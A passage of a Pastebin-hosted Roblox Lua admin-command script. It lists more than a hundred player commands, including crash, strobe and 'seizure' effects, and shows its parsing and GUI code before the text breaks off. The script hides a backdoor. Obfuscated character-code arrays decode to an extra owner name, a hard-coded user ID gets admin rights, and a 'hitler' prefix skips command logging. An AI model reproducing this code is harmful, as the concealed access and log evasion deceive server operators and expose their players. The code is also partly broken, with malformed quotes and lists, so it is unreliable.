Advertisement
Guest User

Untitled

a guest
Dec 9th, 2019
134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 112.46 KB | None | 0 0
  1. if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
  2.  
  3. local Player,game,owner = owner,game
  4.  
  5. local RealPlayer = Player
  6.  
  7. do print("FE Compatibility code V3 by Desered_ROBLOX")local RealPlayer=RealPlayer;script.Parent=RealPlayer.Character;local a=function(b)b[1].f[b[2]]=nil end;local c={__index={disconnect=a,Disconnect=a}}local d={__index={Connect=function(b,e)local f=tostring(math.random(0,10000))while b.f[f]do f=tostring(math.random(0,10000))end;b.f[f]=e;return setmetatable({b,f},c)end}}d.__index.connect=d.__index.Connect;local function g()return setmetatable({f={}},d)end;local h={Hit=CFrame.new(),KeyUp=g(),KeyDown=g(),Button1Up=g(),Button1Down=g(),Button2Up=g(),Button2Down=g()}h.keyUp=h.KeyUp;h.keyDown=h.KeyDown;local i={InputBegan=g(),InputEnded=g()}local CAS={Actions={},BindAction=function(self,j,k,l,...)CAS.Actions[j]=k and{Name=j,Function=k,Keys={...}}or nil end}CAS.UnbindAction=CAS.BindAction;local function m(self,n,...)for o,e in pairs(self[n].f)do e(...)end end;h.T=m;i.T=m;local p=Instance.new("RemoteEvent")p.Name="UserInput_Event"p.OnServerEvent:Connect(function(q,r)if q~=RealPlayer then return end;h.Target=r.e;h.Hit=r.d;if not r.f then local s=r.c==Enum.UserInputState.Begin;if r.b==Enum.UserInputType.MouseButton1 then return h:T(s and"Button1Down"or"Button1Up")end;if r.b==Enum.UserInputType.MouseButton2 then return h:T(s and"Button2Down"or"Button2Up")end;for o,t in pairs(CAS.Actions)do for o,u in pairs(t.Keys)do if u==r.a then t.Function(t.Name,r.c,r)end end end;h:T(s and"KeyDown"or"KeyUp",r.a.Name:lower())i:T(s and"InputBegan"or"InputEnded",r,false)end end)p.Parent=NLS([==[local a=script:WaitForChild("UserInput_Event")local b=owner:GetMouse()local c=game:GetService("UserInputService")local d=function(e,f)if f then return end;a:FireServer({a=e.KeyCode,b=e.UserInputType,c=e.UserInputState,d=b.Hit,e=b.Target})end;c.InputBegan:Connect(d)c.InputEnded:Connect(d)local g,h;local i=game:GetService("RunService").Heartbeat;while true do if g~=b.Hit or h~=b.Target then g,h=b.Hit,b.Target;a:FireServer({f=1,Target=h,d=g})end;for j=1,2 do i:Wait()end end]==],script)local v=game;local w={__index=function(self,u)local x=rawget(self,"_RealService")if x then return typeof(x[u])=="function"and function(o,...)return x[u](x,...)end or x[u]end end,__newindex=function(self,u,y)local x=rawget(self,"_RealService")if x then x[u]=y end end}local function z(t,A)t._RealService=typeof(A)=="string"and v:GetService(A)or A;return setmetatable(t,w)end;local B={GetService=function(self,x)return rawget(self,x)or v:GetService(x)end,Players=z({LocalPlayer=z({GetMouse=function(self)return h end},Player)},"Players"),UserInputService=z(i,"UserInputService"),ContextActionService=z(CAS,"ContextActionService"),RunService=z({_btrs={},RenderStepped=v:GetService("RunService").Heartbeat,BindToRenderStep=function(self,j,o,k)self._btrs[j]=self.Heartbeat:Connect(k)end,UnbindFromRenderStep=function(self,j)self._btrs[j]:Disconnect()end},"RunService")}rawset(B.Players,"localPlayer",B.Players.LocalPlayer)B.service=B.GetService;z(B,game)game,owner=B,B.Players.LocalPlayer end
  8. local owners = {“joemay11, RaybloksIsInUse"} -- Are able to set admins who can ban/etc... using :pa name
  9. local admins = {"XxAngelusMortisxX,ghs098,aznboi819,bubbleglop"} -- Sets admins who can use ban/kick/admin or shutdown
  10. local tempadmins = {santa64} -- Sets admins who can't use ban/kick/admin or shutdown
  11. local banland = {"MasterKhaos,catman9876"} -- Permanently Bans people
  12. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  13. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  14. -----------------
  15. -- Group Admin --
  16. -----------------
  17. local GroupAdmin = false -- If a certain group can have admin
  18. local GroupId = 0 -- Sets the group id that can have admin
  19. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  20. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  21. ---------------------
  22. -- Tips and Tricks --
  23. ---------------------
  24. --[[
  25. With this admin you can do a command on multiple people at a time;
  26. :kill me,noob1,noob2,random,team-raiders
  27.  
  28. You can also use a variety commands for different people;
  29. all
  30. others
  31. me
  32. team-
  33. admins
  34. nonadmins
  35. random
  36. --]]
  37. --------------
  38. -- Commands --
  39. --------------
  40. --[[
  41. -- Temp Admin Commands --
  42. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  43. 1. :s print("Hello World") -- Lets you script normally
  44. 2. :ls print("Hello World") -- Lets you script in localscripts
  45. 3. :clear -- Will remove all scripts/localscripts and jails
  46. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  47. 5. :kill kohl -- Kills the player
  48. 6. :respawn kohl -- Respawns the player
  49. 7. :trip kohl -- Trips the player
  50. 8. :stun kohl -- Stuns the player
  51. 9. :unstun kohl -- Unstuns the player
  52. 10. :jump kohl -- Makes the player jump
  53. 11. :sit kohl -- Makes the player sit
  54. 12. :invisible kohl -- Makes the player invisible
  55. 13. :visible kohl -- Makes the player visible
  56. 14. :explode kohl -- Makes the player explode
  57. 15. :fire kohl -- Sets the player on fire
  58. 16. :unfire kohl -- Removes fire from the player
  59. 17. :smoke kohl -- Adds smoke to the player
  60. 18. :unsmoke kohl -- Removes smoke from the player
  61. 19. :sparkles kohl -- Adds sparkles to the player
  62. 20. :unsparkles kohl -- Removes sparkles from the player
  63. 21. :ff kohl -- Adds a forcefield to the player
  64. 22. :unff kohl -- Removes the forcefield from the player
  65. 23. :punish kohl -- Punishes the player
  66. 24. :unpunish kohl -- Unpunishes the player
  67. 25. :freeze kohl -- Freezes the player
  68. 26. :thaw kohl -- Thaws the player
  69. 27. :heal kohl -- Heals the player
  70. 28. :god kohl -- Makes the player have infinite health
  71. 29. :ungod kohl -- Makes the player have 100 health
  72. 30. :ambient .5 .5 .5 -- Changes the ambient
  73. 31. :brightness .5 -- Changes the brightness
  74. 32. :time 12 -- Changes the time
  75. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  76. 34. :fogend 100 -- Changes the fogend
  77. 35. :fogstart 100 -- Changes the fogstart
  78. 36. :removetools kohl -- Removes all tools from the player
  79. 37. :btools kohl -- Gives the player building tools
  80. 38. :give kohl sword -- Gives the player a tool
  81. 39. :damage kohl -- Damages the player
  82. 40. :grav kohl -- Sets the player's gravity to normal
  83. 41. :setgrav kohl 100 -- Sets the player's gravity
  84. 42. :nograv kohl -- Makes the player have 0 gravity
  85. 43. :health kohl 1337 -- Changes the player's health
  86. 44. :speed kohl 1337 -- Changes the player's walkspeed
  87. 45. :name kohl potato -- Changes the player's name
  88. 46. :unname kohl -- Remove the player's name
  89. 47. :team kohl Raiders -- Changes the player's team
  90. 48. :stopmusic -- Will stop all music playing in the server
  91. 49. :teleport kohl potato -- Teleports the player
  92. 50. :change kohl kills 1337 -- Changes a player's stat
  93. 51. :kick kohl -- Removes the player from the game
  94. 52. :infect kohl -- Turns the player into a zombie
  95. 53. :rainbowify kohl -- Turns the player into a rainbow
  96. 54. :flashify kohl -- Turns the player into a strobe
  97. 55. :noobify kohl -- Turns the player into a noob
  98. 56. :ghostify kohl -- Turns the player into a ghost
  99. 57. :goldify kohl -- Turns the player into gold
  100. 58. :shiny kohl -- Makes the player shiny
  101. 59. :normal kohl -- Puts the player back to normal
  102. 60. :trippy kohl -- Spams random colors on the player's screen
  103. 61. :untrippy kohl -- Untrippys the player
  104. 62. :strobe kohl -- Spams white and black on the player's screen
  105. 63. :unstrobe kohl -- Unstrobes the player
  106. 64. :blind kohl -- Blinds the player
  107. 65. :unblind kohl -- Unblinds the player
  108. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  109. 67. :fling kohl -- Flings the player
  110. 68. :seizure kohl -- Puts the player in a seizure
  111. 69(lol). :music 1337 -- Plays a sound from the ID
  112. 70. :lock kohl -- Locks the player
  113. 71. :unlock kohl -- Unlocks the player
  114. 72. :removelimbs kohl -- Removes the player's limbs
  115. 73. :jail kohl -- Puts the player in a jail
  116. 74. :unjail kohl -- Removes the jail from the player
  117. 75. :fix -- This will fix the lighting to it's original settings
  118. 76. :fly kohl -- Makes the player fly
  119. 77. :unfly kohl -- Removes fly from the player
  120. 78. :noclip kohl -- Makes the player able to noclip
  121. 79. :clip kohl -- Removes noclipping from the player
  122. 80. :pm kohl Hey bro -- Sends the player a private message
  123. 81. :dog kohl -- Turns the player into a dog
  124. 82. :undog kohl -- Turns the player back to normal
  125. 83. :creeper kohl -- Turns the player into a creeper
  126. 84. :uncreeper kohl -- Turns the player back to normal
  127. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  128. 86. :char kohl 261 -- Will make a player look like a different player ID
  129. 87. :unchar kohl -- Will return the player back to normal
  130. 88. :h Hello People -- This will shout a hint to everyone
  131. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  132. 90. :starttools kohl -- Will give the player starter tools
  133. 91. :sword kohl -- Will give the player a sword
  134. 92. :bighead kohl -- Will make the player's head larger than normal
  135. 93. :minihead kohl -- Will make the player's head smaller than normal
  136. 94. :insert 1337 -- Will insert a model at the speaker's position
  137. 95. :disco -- Will make the server flash random colors
  138. 96. :flash -- Will make the server flash
  139. 97. :admins -- Shows the admin list
  140. 98. :bans -- Shows the banlist
  141. 99. :musiclist -- Shows the music list
  142. 100. :spin kohl -- Spins the player
  143. 101. :cape kohl Really black -- Gives the player a colored cape
  144. 102. :uncape kohl -- Removes the player's cape
  145. 103. :loopheal kohl -- Will constantly heal the player
  146. 104. :loopfling kohl -- Will constantly fling the player
  147. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  148. 106. :unloopheal kohl -- Will remove the loopheal on the player
  149. 107. :unloopfling kohl -- Will remove the loopfling on the player
  150. 108. :unspin kohl -- Removes spin from the player
  151. 109. :tools -- Gives a list of the tools in the lighting
  152. 110. :undisco -- Removes disco effects
  153. 111. :unflash -- Removes flash effects
  154. 112. :resetstats kohl -- Sets all the stats of a player to 0
  155. 113. :gear kohl 1337 -- Gives a player a gear
  156. 114. :cmdbar -- Gives the speaker a command bar
  157. 115. :shirt kohl 1337 -- Changes the player's shirt
  158. 116. :pants kohl 1337 -- Changes the player's pants
  159. 117. :face kohl 1337 -- Changes the player's face
  160. 118. :swagify kohl -- Swagifies the player
  161. 119. :version -- Shows the current version of the admin
  162.  
  163. -- Super Admin Commands --
  164. - :serverlock -- Locks the server
  165. - :serverunlock -- Unlocks the server
  166. - :sm Hello World -- Creates a system message
  167. - :crash kohl -- Crashes a player
  168. - :admin kohl -- Admins a player
  169. - :unadmin kohl -- Unadmins a player
  170. - :ban kohl -- Bans a player
  171. - :unban kohl -- Unbans a player
  172. - :loopkill kohl -- Will constantly kill the player
  173. - :unloopkill kohl -- Will remove the loopkill on the player
  174. - :logs -- Will show all of the commands any admin has used in a game session
  175. - :shutdown -- Shutsdown the server
  176.  
  177. -- Owner Commands --
  178. - :pa kohl -- Makes someone a super admin
  179. - :unpa kohl -- Removes a super admin
  180. --]]
  181. -----------------
  182. -- Main Script --
  183. -----------------
  184. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  185.  
  186. function CHEESE()
  187. if game:service("Lighting"):findFirstChild("KACV2") then
  188. owners = {} admins = {} tempadmins = {} banland = {}
  189. for i,v in pairs(game.Lighting.KACV2:children()) do
  190. if v.Name == "Owner" then table.insert(owners, v.Value) end
  191. if v.Name == "Admin" then table.insert(admins, v.Value) end
  192. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  193. if v.Name == "Banland" then table.insert(banland, v.Value) end
  194. if v.Name == "Prefix" then prefix = v.Value end
  195. if v.Name == "FunCommands" then FunCommands = v.Value end
  196. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  197. if v.Name == "GroupId" then GroupId = v.Value end
  198. if v.Name == "GroupRank" then GroupRank = v.Value end
  199. end
  200. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  201. end
  202.  
  203. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  204. local lobjs = {}
  205. local objects = {}
  206. local logs = {}
  207. local nfs = ""
  208. local slock = false
  209.  
  210. function GetTime()
  211. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  212. if min < 10 then min = "0"..min end
  213. return hour..":"..min
  214. end
  215.  
  216. function ChkOwner(str)
  217. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  218. return false
  219. end
  220.  
  221. function ChkAdmin(str,ck)
  222. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  223. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  224. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  225. return false
  226. end
  227.  
  228. function ChkGroupAdmin(plr)
  229. if GroupAdmin then
  230. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  231. return false
  232. end
  233. end
  234.  
  235. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  236.  
  237. function GetPlr(plr, str)
  238. local plrz = {} str = str:lower()
  239. if str == "all" then plrz = game.Players:children()
  240. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  241. else
  242. local sn = {1} local en = {}
  243. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  244. for x = 1, #sn do
  245. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  246. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  247. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  248. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  249. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  250. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  251. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  252. end end end
  253. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  254. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  255. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  256. end end end
  257. else
  258. for a, plyr in pairs(game.Players:children()) do
  259. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  260. table.insert(plrz, plyr) break
  261. end
  262. end
  263. end
  264. end
  265. end
  266. return plrz
  267. end
  268.  
  269. function Hint(str, plrz, time)
  270. for i, v in pairs(plrz) do
  271. if v and v:findFirstChild("PlayerGui") then
  272. coroutine.wrap(function()
  273. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  274. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  275. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  276. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  277. if not time then wait((#str/19)+2.5) else wait(time) end
  278. coroutine.resume(coroutine.create(function() for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end))
  279. end)()
  280. end
  281. end
  282. end
  283.  
  284. function Message(ttl, str, scroll, plrz, time)
  285. for i, v in pairs(plrz) do
  286. if v and v:findFirstChild("PlayerGui") then
  287. coroutine.resume(coroutine.create(function()
  288. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  289. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  290. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  291. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  292. scr.Parent = v.PlayerGui
  293. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  294. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  295. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  296. coroutine.resume(coroutine.create(function() for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end))
  297. end))
  298. end
  299. end
  300. end
  301.  
  302. _G["Message"] = function(p1,p2) Message("Message",p1,false,game.Players:children(),p2) end
  303. _G["RemoveMessage"] = function() for i,v in pairs(game.Players:children()) do if v and v:findFirstChild("PlayerGui") and v.PlayerGui:findFirstChild("MessageGUI") then v.PlayerGui.MessageGUI:Destroy() end end end
  304.  
  305. function Output(str, plr)
  306. coroutine.resume(coroutine.create(function()
  307. local b, e = loadstring(str)
  308. if not b and plr:findFirstChild("PlayerGui") then
  309. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  310. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  311. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  312. return
  313. end
  314. end))
  315. end
  316.  
  317. function Noobify(char)
  318. if char and char:findFirstChild("Torso") then
  319. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  320. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  321. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  322. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  323. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  324. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  325. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  326. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  327. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  328. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  329. end end
  330. end
  331. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  332.  
  333. function Infect(char)
  334. if char and char:findFirstChild("Torso") then
  335. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  336. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  337. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  338. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  339. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  340. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  341. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  342. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  343. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  344. end end
  345. end
  346. end if not ntab then script:Destroy() end
  347.  
  348. function ScrollGui()
  349. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  350. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  351. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  352. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  353. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  354. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  355. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  356. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  357. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  358. local num = 0
  359. local downv = false
  360. local upv = false
  361.  
  362. down.MouseButton1Down:connect(function() downv = true upv = false
  363. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  364. repeat pos = pos + UDim2.new(0,0,0,-6)
  365. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  366. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  367. end)
  368. down.MouseButton1Up:connect(function() downv = false end)
  369. up.MouseButton1Down:connect(function() upv = true downv = false
  370. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  371. repeat pos = pos + UDim2.new(0,0,0,6)
  372. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  373. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  374. end)
  375. up.MouseButton1Up:connect(function() upv = false end)
  376. return scr, cmf, ent, num
  377. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  378. if not ntab then script:Destroy() end
  379. if not bct then script:Destroy() end
  380.  
  381. function Chat(msg,plr)
  382. coroutine.resume(coroutine.create(function()
  383. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  384. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  385. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  386. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  387. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  388. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  389. if msg:lower() == "cmds" or msg:lower() == "commands" then
  390. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  391. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  392. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version"}
  393. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  394. local ost = {"pa plr","unpa plr"}
  395. local tost = {"oa plr","unoa plr"}
  396. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num +1
  397. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
